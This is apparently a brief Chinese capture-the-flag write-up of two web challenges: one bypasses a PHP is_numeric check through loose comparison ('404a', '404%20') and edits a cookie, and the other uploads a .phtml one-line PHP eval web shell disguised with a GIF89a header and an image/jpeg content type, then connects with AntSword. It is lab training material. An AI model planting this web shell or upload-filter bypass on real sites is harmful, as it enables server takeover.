BuyFlag
PAYFLAG页面,这应该就是重要提示
源码中发现hint
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
post传money和password两个参数,password为404时正确但是不能为数字
is_numeric函数的绕过,此题可以使用弱类型或者%20 %00
404a
404%20
404%00
只能Only Cuit’s students才能购买flag,修改cookie就完事了
nember长度太长了使用科学技术法,得到flag
Upload
上传phtml文件,准备个一句话
GIF89a
<script language="php">eval($_POST['c7ay']);</script>
将类型修改为image/jpeg
蚁剑连shell
flag在根目录下
人生漫漫其修远兮,网安无止境。
一同前行,加油!